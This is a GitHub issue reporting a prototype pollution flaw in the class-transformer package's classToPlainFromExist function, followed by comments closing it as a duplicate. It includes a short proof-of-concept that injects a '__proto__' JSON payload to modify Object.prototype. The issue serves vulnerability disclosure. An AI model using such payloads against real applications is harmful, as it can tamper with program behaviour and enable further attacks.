Skip to content

huntr.dev - Prototype Pollution #340

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
huntr-helper opened this issue Apr 17, 2020 · 4 comments
Closed

huntr.dev - Prototype Pollution #340

huntr-helper opened this issue Apr 17, 2020 · 4 comments

Comments

@huntr-helper
Copy link

Vulnerability Description

Affected versions of this package are vulnerable to Prototype Pollution. the classToPlainFromExist function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

Steps To Reproduce:

var root = require("class-transformer"); 
var payload = JSON.parse('{"__proto__": {"hjw": "jhu"}}'); 
root.classToPlainFromExist(payload,{}); 
console.log({}.hjw);

Bug Bounty

We have opened up a bounty for this issue on our bug bounty platform. Want to solve this vulnerability and get rewarded 💰? Go to https://huntr.dev/

@saulotoledo
Copy link
Member

Issue already reported at #339.

@JamieSlome
Copy link

Brilliant, I have seen you have also referenced the pull request as well in the issue! 🍰

@saulotoledo
Copy link
Member

saulotoledo commented Jun 25, 2020

@jotamorais This issue may be closed in favor of #339.

@github-actions
Copy link

This issue has been automatically locked since there has not been any recent activity after it was closed. Please open a new issue for related bugs.

@github-actions github-actions bot locked as resolved and limited conversation to collaborators Jul 30, 2020
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Development

No branches or pull requests

4 participants